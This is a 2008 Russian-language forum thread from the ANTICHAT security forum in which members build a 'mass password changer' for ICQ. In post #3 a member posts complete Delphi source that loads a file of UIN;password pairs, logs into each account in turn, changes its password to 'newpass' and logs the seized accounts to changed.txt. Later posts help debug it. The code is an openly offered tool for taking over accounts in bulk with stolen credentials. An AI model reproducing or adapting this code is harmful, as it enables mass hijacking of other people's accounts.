HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 07.07.2008, 22:31
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

ну это 2 текстовых файла один с логинами другой с паролями... несерёзно.
 
Ответить с цитированием

  #2  
Старый 08.07.2008, 01:29
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

Млин ни так ни эдак не получается, есть какие нить простые варианты?
Может procedure TForm1.ICQClient1Login обработать надо в цикле?
 
Ответить с цитированием

  #3  
Старый 08.07.2008, 02:25
qPhoenix
Banned
Регистрация: 15.12.2005
Сообщений: 95
Провел на форуме:
1509352

Репутация: 132
Отправить сообщение для qPhoenix с помощью ICQ
По умолчанию

Че-то парни вы мудрите
вотъ набросал побыстрому как я вижу работу массового пассченжера:
Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ICQClient, ICQWorks, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Memo1: TMemo;
    ICQClient1: TICQClient;
    procedure Button1Click(Sender: TObject);
    procedure Change;
    procedure ICQClient1Login(Sender: TObject);
    procedure ICQClient1Error(Sender: TObject; ErrorType: TErrorType;
      ErrorMsg: String);
    procedure ICQClient1InfoChanged(Sender: TObject; InfoType: TInfoType;
      ChangedOk: Boolean);
    procedure ICQClient1LogOff(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  source:TStringList;
  tmp,uin,pass:string;

implementation

{$R *.dfm}

procedure TForm1.Change;
begin
 if source.Count>0 then
 begin
  tmp:=source.Strings[0];
  uin:=copy(tmp,1,pos(';',tmp)-1);
  pass:=copy(tmp,pos(';',tmp)+1,length(tmp));
  Memo1.Lines.Add(uin+' '+pass);
  ICQClient1.Password:=pass;
  ICQClient1.UIN:=StrToInt(uin);
  ICQClient1.ScreenName:=uin;
  ICQClient1.Login;
 end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 source:=TStringList.Create;
 source.LoadFromFile('source.txt');
 ICQClient1.ConvertToPlaintext:=True;
 ICQClient1.ICQServer:='login.icq.com';
 ICQClient1.ICQPort:=5190;
 Change;
end;

procedure TForm1.ICQClient1Login(Sender: TObject);
begin
 Memo1.Lines.Add('con');
 ICQClient1.ChangePassword('newpass');
end;

procedure TForm1.ICQClient1Error(Sender: TObject; ErrorType: TErrorType;
  ErrorMsg: String);
begin
 Memo1.Lines.Add(tmp+' Err: '+ErrorMsg);
 ICQClient1.LogOff;
end;

procedure TForm1.ICQClient1InfoChanged(Sender: TObject;
  InfoType: TInfoType; ChangedOk: Boolean);
var fil;
begin
 assignfile(fil,'changed.txt');
 if fileexists('changed.txt') then appendfile(fil)
  else rewrite(fil);
 writeln(fil,uin+';'+'newpass');
 closefile(fil);
 source.Delete(0);
 Memo1.Lines.Add(tmp+' Changed');
 ICQClient1.LogOff;
end;

procedure TForm1.ICQClient1LogOff(Sender: TObject);
begin
 Memo1.Lines.Add('dis');
 Change;
end;

end.

Последний раз редактировалось qPhoenix; 08.07.2008 в 02:41..
 
Ответить с цитированием

  #4  
Старый 08.07.2008, 03:13
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

qPhoenix спс.
ICQClient1.ScreenName:=uin; - ругается, типа ScreenName несуществующяя команда.
пришлось удалить.
var fil; - ???
Я поставил текстфайл. протестировал... в MEMO вывелся тока первый номер с паролем и всё... нигде пасс не сменился ;(
 
Ответить с цитированием

  #5  
Старый 08.07.2008, 03:33
qPhoenix
Banned
Регистрация: 15.12.2005
Сообщений: 95
Провел на форуме:
1509352

Репутация: 132
Отправить сообщение для qPhoenix с помощью ICQ
По умолчанию

ScreenName убирай ) видать разные у нас TICQ

ты эвенты onInfoChanged и OnLogoff привязал к компоненту?

на всяк случай - юзал этот TICQ, старый напрочь отказывался работать - кричал "Версия клиента устарела"
 
Ответить с цитированием

  #6  
Старый 08.07.2008, 19:48
Intelekt
Новичок
Регистрация: 17.04.2008
Сообщений: 3
Провел на форуме:
10831

Репутация: 0
По умолчанию

Ребята, дайте пожалуйста ссылку, откудаможно скачать Delphi послебнюю версию. Заранее благодарен!!!
 
Ответить с цитированием

  #7  
Старый 08.07.2008, 20:57
Termo_90
Новичок
Регистрация: 02.07.2008
Сообщений: 3
Провел на форуме:
6273

Репутация: 0
По умолчанию

А нафига последняя? Качай 7-мую и будь доволен... По моему эта самая распространенная
 
Ответить с цитированием

  #8  
Старый 09.07.2008, 01:00
BlackSun
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

Юзай потоки, и забудь ты про компоненты, памяти сожрешь немеряно!
 
Ответить с цитированием

  #9  
Старый 11.07.2008, 00:15
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

Dober'man плз!!! если не затруднит напиши код как это реализовать, какой нить самый простой способ.
 
Ответить с цитированием

  #10  
Старый 11.07.2008, 03:03
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

masslogin.text masspass.text - это вообще то edit`ы
У меня такой принцип, открываем файл, и кидаем в цикле в едиты соответствено логин и пароль разделяя их ; это сделанно для того чтобы я мог непосредственно удобно иметь к ним доступ из едитов....
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Wi-Fi, BT] Задай вопрос - получи ответ! Alexsize Беспроводные технологии/Wi-Fi/Wardriving 2568 25.04.2026 12:58
[jQuery] - Задай вопрос, получи ответ Isis PHP 62 25.12.2009 03:25



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ